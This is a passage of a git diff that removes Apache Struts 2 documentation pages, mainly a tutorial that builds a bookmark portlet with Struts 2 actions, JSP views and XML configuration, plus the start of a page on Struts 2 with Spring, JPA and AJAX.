-         &lt;value&gt;index!input&lt;/value&gt;
-      &lt;/init-param&gt;
-		
-      &lt;expiration-cache&gt;0&lt;/expiration-cache&gt;
-		
-      &lt;supports&gt;
-         &lt;mime-type&gt;text/html&lt;/mime-type&gt;
-         &lt;portlet-mode&gt;view&lt;/portlet-mode&gt;
-         &lt;portlet-mode&gt;edit&lt;/portlet-mode&gt;
-      &lt;/supports&gt;
-		
-      &lt;supported-locale&gt;en&lt;/supported-locale&gt;
-		
-      &lt;portlet-info&gt;
-         &lt;title&gt;HelloPortlet&lt;/title&gt;
-         &lt;short-title&gt;HelloPortlet&lt;/short-title&gt;
-         &lt;keywords&gt;struts 2,portlet,hello,world&lt;/keywords&gt;
-      &lt;/portlet-info&gt;
-   &lt;/portlet&gt;  
-&lt;/portlet-app&gt;
-</pre>
-</div></div>
-
-<p>The important parts to notice are the <em>portlet-class</em> and <em>init-param</em> elements. The <em>portlet-class</em> element is always <strong><em>org.apache.struts2.portlet.dispatcher.Jsr168Dispatcher</em></strong> (or a subclass, if you have added some custom functionality). This is the portlet that acts as the dispatcher for the Struts 2 framework, and translates incoming user interaction to action requests that Struts 2 understands. The init-params <em>viewNamespace</em>, <em [...]
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>src/main/resources/struts.xml</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-&lt;?xml version="1.0" encoding="UTF-8" ?&gt;
-&lt;!DOCTYPE struts PUBLIC
-    "-//Apache Software Foundation//DTD Struts Configuration 2.0//EN"
-    "http://struts.apache.org/dtds/struts-2.0.dtd"&gt;
-
-&lt;struts&gt;
-   &lt;package name="default" extends="struts-portlet-default" namespace="/view"&gt;
-        &lt;action name="index" class="com.mycompany.HelloAction"&gt;
-	    &lt;result&gt;/WEB-INF/jsp/view/index.jsp&lt;/result&gt;
-	&lt;/action&gt;
-   &lt;/package&gt;
-	
-   &lt;package name="edit" extends="struts-portlet-default" namespace="/edit"&gt;
-	&lt;action name="index" class="com.mycompany.UpdateNameAction"&gt;
-	    &lt;result type="redirectAction"&gt;
-	        &lt;param name="actionName"&gt;index&lt;/param&gt;
-		&lt;param name="portletMode"&gt;view&lt;/param&gt;
-	    &lt;/result&gt;
-	    &lt;result name="input"&gt;/WEB-INF/jsp/edit/index.jsp&lt;/result&gt;
-	&lt;/action&gt;
-    &lt;/package&gt;
-&lt;/struts&gt;
-</pre>
-</div></div>
-
-<p>As we can see, the actions for the <em>view</em> portlet mode is in the <em>default</em> package, with <em>/view</em> as namespace, and the actions for the <em>edit</em> portlet mode is in the <em>edit</em> package, with <em>/edit</em> as namespace.</p>
-
-<h2 id="Struts2PortletTutorial-ImporttheprojectintoEclipse">Import the project into Eclipse</h2>
-<p>Now let's import the project into Eclipse. First, type </p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">mvn eclipse:eclipse -P pluto-embedded</pre>
-</div></div>
-<p>Then start Eclipse (if you have not already done so), and import the project using "File -&gt; Import -&gt; General -&gt; Existing Projects into Workspace". Browse to the folder where you created the project and press finish. Your portlet project should now be setup up with all dependencies in place.</p>
-
-<h2 id="Struts2PortletTutorial-CreatingtheBookmarkdomainobject">Creating the Bookmark domain object</h2>
-<p>To represent the bookmarks, we'll create a simple domain object. We'll keep it really simple, so the Bookmark object will only have a <em>name</em> and a <em>url</em> property:</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>src/main/java/com/mycompany/domain/Bookmark.java</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-public class Bookmark {
-   private String name;
-   private String url;
-
-   public Bookmark(String name, String url) {
-      this.name = name;
-      this.url = url;
-   }
-	
-   public String getName() {
-      return name;
-   }
-
-   public String getUrl() {
-      return url;
-   }
-}
-</pre>
-</div></div>
-
-<h2 id="Struts2PortletTutorial-Addingbookmarks">Adding bookmarks</h2>
-<p>Adding bookmarks is an operation that logically belongs to the <em>edit</em> portlet mode. So we'll create a simple action for this purpose, and configure it in the <em>edit</em> configuration package. In normal Struts 2 fashion, we'll create an action object with the properties we need:</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>src/main/java/com/mycompany/AddBookmark.java</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-public class AddBookmarkAction extends DefaultActionSupport {
-
-   private String name;
-   private String url;
-
-   public void setName(String name) {
-      this.name = name;
-   }
-
-   public void setUrl(String url) {
-      this.url = url;
-   }
-
-   @Override
-   public String execute() throws Exception {
-      return SUCCESS;
-   }
-}
-</pre>
-</div></div>
-
-<p>And in struts.xml, remove the existing configuration for the edit package and add an entry for the action:</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>struts.xml</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-&lt;package name="edit" extends="struts-portlet-default" namespace="/edit"&gt;
-	
-   &lt;action name="index" class="com.mycompany.AddBookmarkAction"&gt;
-      &lt;result name="input"&gt;/WEB-INF/jsp/edit/index.jsp&lt;/result&gt;
-   &lt;/action&gt;
-
-&lt;/package&gt;
-</pre>
-</div></div>
-
-<p>Let's create the input form so we have something to display. The form is really simple, with a label and a text field for each of the properties in the <em>Bookmark</em> domain object:</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>src/main/webapp/WEB-INF/jsp/edit/index.jsp</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-&lt;%@ taglib prefix="s" uri="/struts-tags" %&gt;
-
-&lt;h2&gt;Manage bookmarks&lt;/h2&gt;
-
-&lt;s:form action="index"&gt;
-   &lt;table&gt;
-      &lt;s:textfield name="name" label="Name"/&gt;
-      &lt;s:textfield name="url" label="URL"/&gt;
-      &lt;s:submit value="Add"/&gt;
-   &lt;/table&gt;
-&lt;/s:form&gt;
-</pre>
-</div></div>
-
-<p>The textfields maps to the property names we have defined in <em>AddBookmarkAction</em>. Before we continue, let's check that everything is configured correctly and check that our portlet can be run. In a command prompt, change into the directory where you have created the project and issue the command <em>mvn jetty:run -P pluto-embedded</em>. Then open <a shape="rect" class="external-link" href="http://localhost:8080/bookmark-portlet/pluto/index.jsp" rel="nofollow">http://localhost:8 [...]
-
-<p><span class="confluence-embedded-file-wrapper"><img class="confluence-embedded-image" src="struts-2-portlet-tutorial.data/AddBookmarkForm.jpg"></span></p>
-
-<p>If you try to submit data in the form, it will obviously not work since we have not implemented any logic to add bookmarks yet. That will be our next task. Since we'll need a PortletPreferences reference, we'll have the action implement the <em>PortletPreferencesAware</em> interface that will instruct Struts 2 to inject this into our action, without the need for us to look it up manually. When we have the reference to the <em>PortletPreferences</em> object, we'll implement logic to st [...]
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>src/main/java/com/mycompany/AddBookmarkAction.java</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-public class AddBookmarkAction extends DefaultActionSupport implements PortletPreferencesAware {
-
-   private String name;
-   private String url;
-	
-   private PortletPreferences portletPreferences;
-
-   public void setName(String name) {
-      this.name = name;
-   }
-
-   public void setUrl(String url) {
-      this.url = url;
-   }
-	
-   public void setPortletPreferences(PortletPreferences portletPreferences) {
-      this.portletPreferences = portletPreferences;	
-   }
-
-   @Override
-   public String execute() throws Exception {
-      portletPreferences.setValue(name, url);
-      portletPreferences.store();
-      return SUCCESS;
-   }
-}
-</pre>
-</div></div>
-
-<p>After the bookmark has been stored, we'll just redirect back to the input form:</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>src/main/resources/struts.xml</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-&lt;package name="edit" extends="struts-portlet-default" namespace="/edit"&gt;
-	
-   &lt;action name="index" class="com.mycompany.AddBookmarkAction"&gt;
-      &lt;result type="redirectAction"&gt;
-         &lt;param name="actionName"&gt;index!input&lt;/param&gt;
-      &lt;/result&gt;
-      &lt;result name="input"&gt;/WEB-INF/jsp/edit/index.jsp&lt;/result&gt;
-   &lt;/action&gt;
-
-&lt;/package&gt;
-</pre>
-</div></div>
-
-<p>We use a <em>redirectAction</em> result type to redirect back to the input form in proper PRG (Post - Redirect - Get) manner.</p>
-
-<p>Now we can add some bookmarks. We don't get much feedback though, so let's proceed...</p>
-
-<h2 id="Struts2PortletTutorial-Listingthebookmarks">Listing the bookmarks</h2>
-
-<p>The bookmarks will be listed in the <em>view</em> portlet mode, so we'll create a <em>ListBookmarksAction</em> and configure it in the default package:</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>src/main/java/com/mycompany/ListBookmarksAction.java</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-public class ListBookmarksAction extends DefaultActionSupport implements PortletPreferencesAware {
-   private List&lt;Bookmark&gt; bookmarks = new ArrayList&lt;Bookmark&gt;();
-   private PortletPreferences portletPreferences;
-
-   public List&lt;Bookmark&gt; getBookmarks() {
-      return bookmarks;
-   }
-
-   public void setPortletPreferences(PortletPreferences portletPreferences) {
-      this.portletPreferences = portletPreferences;
-   }
-
-   @Override
-   public String execute() throws Exception {
-      // For simplicity, we'll assume that only bookmarks are stored in the preferences.
-      Map&lt;String, String[]&gt; preferencesMap = portletPreferences.getMap();
-      for(Map.Entry&lt;String, String[]&gt; entry : preferencesMap.entrySet()) {
-         bookmarks.add(new Bookmark(entry.getKey(), entry.getValue()[0]));
-      }
-      return SUCCESS;
-   }
-}
-</pre>
-</div></div>
-
-<p>Again we use the <em>PortletPreferencesAware</em> to get the <em>PortletPreferences</em> injected in our action. Then we just get all the values from the preferences and add them as a <em>Bookmark</em> instance in an <em>ArrayList</em>.</p>
-
-<p>Obviously, we'll need a jsp to view the list of bookmarks:</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>src/main/webapp/WEB-INF/jsp/view/index.jsp</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-&lt;%@ taglib prefix="s" uri="/struts-tags" %&gt;
-
-&lt;strong&gt;Bookmarks&lt;/strong&gt;
-&lt;p&gt;
-   &lt;table&gt;
-   &lt;s:iterator value="%{bookmarks}" var="bookmark"&gt;
-      &lt;tr&gt;
-         &lt;td&gt;&lt;s:property value="%{name}"/&gt;&lt;/td&gt;
-         &lt;td&gt;&lt;a href="&lt;s:property value="%{url}"/&gt;" target="_blank"&gt;&lt;s:property value="%{url}"/&gt;&lt;/a&gt;&lt;/td&gt;
-      &lt;/tr&gt;
-   &lt;/s:iterator&gt;
-   &lt;/table&gt;
-&lt;/p&gt;
-</pre>
-</div></div>
-
-<p>In the JSP, we just iterate over the list of Bookmarks and print the properties in the iterator loop. </p>
-
-<p>In struts.xml, remove the <em>default</em> package, and add this instead:</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>src/main/resources/struts.xml</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-&lt;package name="view" extends="struts-portlet-default" namespace="/view"&gt;
-   &lt;action name="index" class="com.mycompany.ListBookmarksAction"&gt;
-      &lt;result&gt;/WEB-INF/jsp/view/index.jsp&lt;/result&gt;
-   &lt;/action&gt;
-&lt;/package&gt;
-</pre>
-</div></div>
-
-<p>When you're ready, go back to a command prompt and start the server again (<em>mvn jetty:run -P pluto-embedded</em>), open a browser and start adding some bookmarks. When you go back to <em>view</em> mode after adding a few, you'll see the bookmarks listed:</p>
-
-<p><span class="confluence-embedded-file-wrapper"><img class="confluence-embedded-image" src="struts-2-portlet-tutorial.data/ListBookmarks.jpg"></span></p>
-
-<h2 id="Struts2PortletTutorial-Preparingforbookmarkmanagement">Preparing for bookmark management</h2>
-
-<p>It would be nice to be able to manage the list of bookmarks, so we'll add delete and edit functionality. All modifications will happen in the <em>edit</em> portlet mode. We'll start by displaying the list of bookmarks in the <em>edit</em> mode as well. The plan is to extend this list to add a <em>delete</em> and an <em>edit</em> link to modify the bookmark entries. We'll do it really simple and just copy the code from the <em>index.jsp</em> for view into the index.jsp for <em>edit</em [...]
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>src/main/webapp/WEB-INF/jsp/edit/index.jsp</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-&lt;%@ taglib prefix="s" uri="/struts-tags" %&gt;
-
-&lt;h2&gt;Manage bookmarks&lt;/h2&gt;
-
-&lt;p&gt;
-   &lt;table&gt;
-   &lt;s:iterator value="%{bookmarks}" var="bookmark"&gt;
-      &lt;s:url action="editBookmark!input" id="editUrl"&gt;
-         &lt;s:param name="oldName" value="%{name}"/&gt;
-      &lt;/s:url&gt;
-      &lt;s:url action="deleteBookmark" portletUrlType="action" id="deleteUrl"&gt;
-         &lt;s:param name="bookmarkName" value="%{name}"/&gt;
-      &lt;/s:url&gt;
-      &lt;tr&gt;
-         &lt;td&gt;&lt;s:property value="%{name}"/&gt;&lt;/td&gt;
-         &lt;td&gt;&lt;a href="&lt;s:property value="%{url}"/&gt;" target="_blank"&gt;&lt;s:property value="%{url}"/&gt;&lt;/a&gt;&lt;/td&gt;
-         &lt;td&gt;&lt;a href="&lt;s:property value="%{editUrl}"/&gt;"&gt;Edit&lt;/a&gt;&lt;/td&gt;
-         &lt;td&gt;&lt;a href="&lt;s:property value="%{deleteUrl}"/&gt;"&gt;Delete&lt;/a&gt;&lt;/td&gt;
-      &lt;/tr&gt;
-   &lt;/s:iterator&gt;
-   &lt;/table&gt;
-&lt;/p&gt;
-
-&lt;s:form action="addBookmark"&gt;
-   &lt;table&gt;
-      &lt;s:textfield name="name" label="Name"/&gt;
-      &lt;s:textfield name="url" label="URL"/&gt;
-      &lt;s:submit value="Add"/&gt;
-   &lt;/table&gt;
-&lt;/s:form&gt;
-</pre>
-</div></div>
-
-<p>For the <em>delete</em> url we need to specify that it is a portlet action url since portlet preferences cannot be changed in the render phase. We also need to change our configuration a bit since we'll use this page as index page for <em>edit</em> mode, and not only as the input form for the <em>AddBookmarkAction</em>:</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>src/main/resources/struts.xml</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-&lt;package name="edit" extends="struts-portlet-default" namespace="/edit"&gt;
-
-   &lt;action name="index" class="com.mycompany.ListBookmarksAction"&gt;
-      &lt;result&gt;/WEB-INF/jsp/edit/index.jsp&lt;/result&gt;
-   &lt;/action&gt;
-
-   &lt;action name="addBookmark" class="com.mycompany.AddBookmarkAction"&gt;
-      &lt;result type="redirectAction"&gt;
-         &lt;param name="actionName"&gt;index&lt;/param&gt;
-      &lt;/result&gt;
-   &lt;/action&gt;
-
-&lt;/package&gt;
-</pre>
-</div></div>
-
-<p>Here we have added the <em>ListBookmarksAction</em> as the <em>index</em> action, which will display the bookmark list with the input form. When the form is submitted, it will invoke the <em>addBookmark</em> action, and upon success, control is redirected back to the <em>index</em> action. With this new structure, we'll also need to updated the portlet descriptor to use <em>index</em> instead of <em>index!input</em> as the default action for <em>edit</em> mode:</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>src/main/webapp/WEB-INF/portlet.xml</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-&lt;!-- The default action to invoke in edit mode. --&gt;
-&lt;init-param&gt;
-   &lt;name&gt;defaultEditAction&lt;/name&gt;
-   &lt;value&gt;index&lt;/value&gt;
-&lt;/init-param&gt;
-</pre>
-</div></div>
-
-<p>Now you can (re)start the server and see how it works. This is how it looks in <em>edit</em> mode after adding a few entries:</p>
-
-<p><span class="confluence-embedded-file-wrapper"><img class="confluence-embedded-image" src="struts-2-portlet-tutorial.data/ListBookmarksInEditMode.jpg"></span></p>
-
-<h2 id="Struts2PortletTutorial-Deletingbookmarks">Deleting bookmarks</h2>
-
-<p>Let's create the action that handles deletion of bookmarks. It's pretty simple. As with our other actions, we need to get a reference to the <em>PortletPreferences</em> and simply remove the bookmark values from it:</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>src/main/java/com/mycompany/DeleteBookmarkAction.java</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-public class DeleteBookmarkAction extends DefaultActionSupport implements PortletPreferencesAware{
-
-   private String bookmarkName;
-	
-   private PortletPreferences portletPreferences;
-
-   public void setBookmarkName(String bookmarkName) {
-      this.bookmarkName = bookmarkName;
-   }
-	
-   public void setPortletPreferences(PortletPreferences portletPreferences) {
-      this.portletPreferences = portletPreferences;
-   }
-	
-   @Override
-   public String execute() throws Exception {
-      portletPreferences.reset(bookmarkName);
-      portletPreferences.store();
-      return SUCCESS;
-   }
-
-}
-</pre>
-</div></div>
-
-<p>Pretty simple and straight forward. Next, add a configuration entry for the action in the <em>edit</em> package:</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>src/main/resources/struts.xml</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-&lt;action name="deleteBookmark" class="com.mycompany.DeleteBookmarkAction"&gt;
-   &lt;result type="redirectAction"&gt;
-      &lt;param name="actionName"&gt;index&lt;/param&gt;
-   &lt;/result&gt;
-&lt;/action&gt;
-</pre>
-</div></div>
-
-<p>After a bookmark has been deleted, we redirect back to the <em>index</em> action. Now you should be able to click the <em>Delete</em> link to remove individual entries.</p>
-
-<h2 id="Struts2PortletTutorial-Editingbookmarks">Editing bookmarks</h2>
-
-<p>The final step is to edit bookmark entries. When the user clicks the <em>edit</em> link, the portlet will display a new page with an input form and the bookmark values already filled in the text fields. We'll start by creating the jsp file:</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>src/main/webapp/WEB-INF/jsp/edit.jsp</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-&lt;%@ taglib prefix="s" uri="/struts-tags" %&gt;
-
-&lt;h2&gt;Edit bookmark&lt;/h2&gt;
-
-&lt;s:form action="editBookmark"&gt;
-   &lt;input type="hidden" name="oldName" value="&lt;s:property value="%{oldName}"/&gt;"/&gt;
-   &lt;table&gt;
-      &lt;s:textfield name="name" label="Name" value="%{oldName}"/&gt;
-      &lt;s:textfield name="url" label="URL"/&gt;
-      &lt;s:submit value="Update"/&gt;
-   &lt;/table&gt;
-&lt;/s:form&gt;
-</pre>
-</div></div>
-
-<p>The <em>oldName</em> hidden field keeps track of which bookmark is beeing edited, since the name is also our id to the entry beeing edited. The actual update of the bookmark will be a "delete and add a new entry":</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>src/main/java/com/mycompany/EditBookmarkAction.java</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-public class EditBookmarkAction extends DefaultActionSupport implements PortletPreferencesAware, Preparable, ParameterAware {
-
-   private String oldName;
-   private String name;
-   private String url;
-	
-   private PortletPreferences portletPreferences;
-   private Map&lt;String, String[]&gt; parameters;
-	
-   public String getOldName() {
-      return oldName;
-   }
-	
-   public void setOldName(String oldName) {
-      this.oldName = oldName;
-   }
-	
-   public String getUrl() {
-      return url;
-   }
-
-   public void setUrl(String url) {
-      this.url = url;
-   }
-
-   public void setName(String name) {
-      this.name = name;
-   }
-	
-   public void setPortletPreferences(PortletPreferences portletPreferences) {
-      this.portletPreferences = portletPreferences;
-   }
-	
-   public void setParameters(Map&lt;String, String[]&gt; parameters) {
-      this.parameters = parameters;
-   }
-	
-   public void prepare() throws Exception {
-      // Since the prepare interceptor is run before the parameter interceptor, 
-      // we have to get the parameter "manually".
-      this.oldName = parameters.get("oldName")[0];
-      this.url = portletPreferences.getValue(oldName, null);
-   }
-	
-   public String execute() throws Exception {
-      // The modification is handled as remove/add
-      portletPreferences.reset(oldName);
-      portletPreferences.setValue(name, url);
-      portletPreferences.store();
-      return SUCCESS;
-   }
-}
-</pre>
-</div></div>
-
-<p>There's a couple of new things here, but nothing unfamiliar if you have worked with Struts 2 before. We use the <em>Preparable</em> interface to pre-populate the vaules in the edit form, and we use the <em>ParameterAware</em> interface to get a reference to the request parameter map. Other than that, the <em>execute</em> method simply resets the old value for the bookmark and add it with the (possibly) new name.</p>
-
-<p>The last thing we need to do is to add the configuration in the <em>edit</em> package for the new action:</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>src/main/resources/struts.xml</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-&lt;action name="editBookmark" class="com.mycompany.EditBookmarkAction"&gt;
-   &lt;result type="redirectAction"&gt;
-      &lt;param name="actionName"&gt;index&lt;/param&gt;
-   &lt;/result&gt;
-   &lt;result name="input"&gt;/WEB-INF/jsp/edit/edit.jsp&lt;/result&gt;
-&lt;/action&gt;
-</pre>
-</div></div>
-
-<h2 id="Struts2PortletTutorial-Summary">Summary</h2>
-<p>Using Struts 2, we built a simple bookmark portlet utilizing the <em>edit</em> portlet mode for management operations. The tutorial should have given you a basic understanding of portlet development with Struts 2, and that it is not very different from using Struts 2 in a regular web application. </p>
-
-<h2 id="Struts2PortletTutorial-Notes">Notes</h2>
-<p>Instead of using the Maven 2 Jetty plugin to run the tutorial, you can check out the <em>JettyPlutoLauncher</em> which is included in the test sources. Just launch it as a regular Java class in your IDE. And to debug, just launch it in debug mode.</p>
-
-<h2 id="Struts2PortletTutorial-Links">Links</h2>
-<p><a shape="rect" href="struts-2-portlet-tutorial.data/bookmark-portlet.zip?version=1&amp;modificationDate=1199675399000&amp;api=v2" data-linked-resource-id="59671077" data-linked-resource-version="1" data-linked-resource-type="attachment" data-linked-resource-default-alias="bookmark-portlet.zip" data-nice-type="Zip Archive" data-linked-resource-content-type="application/zip" data-linked-resource-container-id="71458" data-linked-resource-container-version="41">S2PLUGINS:Source code for  [...]
-<a shape="rect" class="external-link" href="http://jcp.org/aboutJava/communityprocess/final/jsr168/index.html" rel="nofollow">JSR168 Specification</a><br clear="none">
-<a shape="rect" class="external-link" href="http://struts.apache.org/2.x/docs/portlet-configuration.html">Struts 2 Portlet Configuration options</a><br clear="none">
-<a shape="rect" class="external-link" href="http://portletwork.blogspot.com" rel="nofollow">Author's blog about portlet related development</a><br clear="none">
-<a shape="rect" class="external-link" href="http://struts.apache.org/2.x/docs/portlet-tutorial-webwork-22.html">Old tutorial for WebWork 2</a></p></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/struts-2-spring-2-jpa-ajax.data/quickstart.zip b/content/docs/struts-2-spring-2-jpa-ajax.data/quickstart.zip
deleted file mode 100644
index 58efb31..0000000
Binary files a/content/docs/struts-2-spring-2-jpa-ajax.data/quickstart.zip and /dev/null differ
diff --git a/content/docs/struts-2-spring-2-jpa-ajax.data/quickstart_maven.zip b/content/docs/struts-2-spring-2-jpa-ajax.data/quickstart_maven.zip
deleted file mode 100644
index d5875b6..0000000
Binary files a/content/docs/struts-2-spring-2-jpa-ajax.data/quickstart_maven.zip and /dev/null differ
diff --git a/content/docs/struts-2-spring-2-jpa-ajax.data/quickstart_maven2.zip b/content/docs/struts-2-spring-2-jpa-ajax.data/quickstart_maven2.zip
deleted file mode 100644
index d5875b6..0000000
Binary files a/content/docs/struts-2-spring-2-jpa-ajax.data/quickstart_maven2.zip and /dev/null differ
diff --git a/content/docs/struts-2-spring-2-jpa-ajax.html b/content/docs/struts-2-spring-2-jpa-ajax.html
deleted file mode 100644
index c859c13..0000000
--- a/content/docs/struts-2-spring-2-jpa-ajax.html
+++ /dev/null
@@ -1,798 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Struts 2 + Spring 2 + JPA + AJAX</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="tutorials.html">Tutorials</a>&nbsp;&gt;&nbsp;<a href="struts-2-spring-2-jpa-ajax.html">Struts 2 + Spring 2 + JPA + AJAX</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Struts 2 + Spring 2 + JPA + AJAX</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=33168">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
